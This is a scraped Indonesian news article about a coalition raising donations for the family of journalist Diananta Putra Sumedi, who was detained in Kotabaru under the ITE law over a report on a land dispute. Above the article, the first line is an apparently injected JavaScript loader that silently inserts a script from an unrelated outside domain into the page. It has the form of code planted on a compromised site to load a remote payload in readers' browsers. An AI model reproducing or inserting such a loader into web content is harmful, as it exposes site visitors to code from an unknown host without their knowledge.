(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: MEDIA

Peduli Diananta, Koalisi untuk Masyarakat Adat dan Kebebasan Pers Galang Donasi


KANALKALIMANTAN.COM, BANJARMASIN – Gerakan kolektif Koalisi untuk Masyarakat Adat dan Kebebasan Pers terus menggalang dana untuk kebutuhan keluarga jurnalis Diananta Putra Sumedi. Diananta masih mendekam di sel tahanan Polres Kotabaru, gara-gara disangka melanggar UU ITE lewat berita yang ia muat.

Donasi digagas oleh Tim Logistik Koalisi untuk Masyarakat Adat dan Kebebasan Pers yang dipimpin oleh Ika Ningtyas, sahabat istri Diananta sekaligus anggota Aliansi Jurnalis Independen (AJI) Jember. Sampai saat ini sudah terkumpul dana sebesar Rp 14.000.000 dari berbagai kalangan.

“Ini dialokasikan untuk kebutuhan hidup keluarga per bulan Juni dan Juli. Diananta adalah penafkah tunggal untuk anak dan istrinya yang tinggal di Banyuwangi,” ujar Ika saat diwawancarai pada Minggu (31/5/2020).

Istri Diananta, Wahyu Widyaningsih, juga berencana bakal bertolak ke Kotabaru untuk menemani Diananta saat persidangan pada Juni nanti. Alhasil, alokasi juga akan diserahkan ke Wahyu saat berada di Kotabaru.

Ika menegaskan aksi penggalangan dana ini penting untuk merajut solidaritas bersama, khususnya kalangan jurnalis. Bukan hanya untuk meringankan beban ekonomi keluarga, tapi juga sebagai bentuk dukungan semua pihak atas kebebasan pers dan protes atas kriminialisasi yang dilakukan terhadap Diananta.

“Kerja-kerja jurnalisme itu untuk kepentingan publik. Tanpa jurnalisme yang bebas dan independen, mustahil publik mendapatkan informasi yang kredibel. Oleh karena itu, kriminalisasi terhadap jurnalis Diananta dengan sendirinya mengancam hak publik mendapatkan informasi yang benar,” ujarnya.

Untuk diketahui, penggalangan dana sendiri dibuka melalui rekening Ika Ningtyas (BNI 0863585113). Setelah ditransfer, donatur bisa mengonfirmasi melalui kontak Whatsapp 081353026387.

Diananta Putera Sumedi ditahan sejak 4 Mei silam oleh Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalsel sebab beritanya yang berjudul “Tanah Dirampas Jhonlin, Dayak Mengadu ke Polda Kalsel” pada alamat internet kumparan/banjarhits.id pada 9 November 2019 lampau.(Kanalkalimantan.com/rls)

 

Reporter : Rls
Editor : Cell

 


Desy Arfianty

Recent Posts

Jurnalisme Hijau di Era Digital: Membumikan Kompleksitas Isu Lingkungan Agar Tak Membosankan

KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More

8 jam ago

Masuk Masa Tenang, APK Paslon di Banjarbaru Dibersihkan

KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More

10 jam ago

Bawaslu Kalsel Segera Plenokan Dugaan Pelanggaran Paslon Syaifullah-Habib Ahmad

KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More

10 jam ago

Deteksi Dini Kesehatan IVA Test dan Sadanis di Puskesmas Sungai Malang

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More

10 jam ago

Uji Tanding 7 Cabor Bapor Korpri HSU Vs Bapor Korpri Paser

KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More

15 jam ago

Juara di Singapore Open Dance Championship 2024, Frem Harumkan Nama Indonesia

KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More

15 jam ago

This website uses cookies.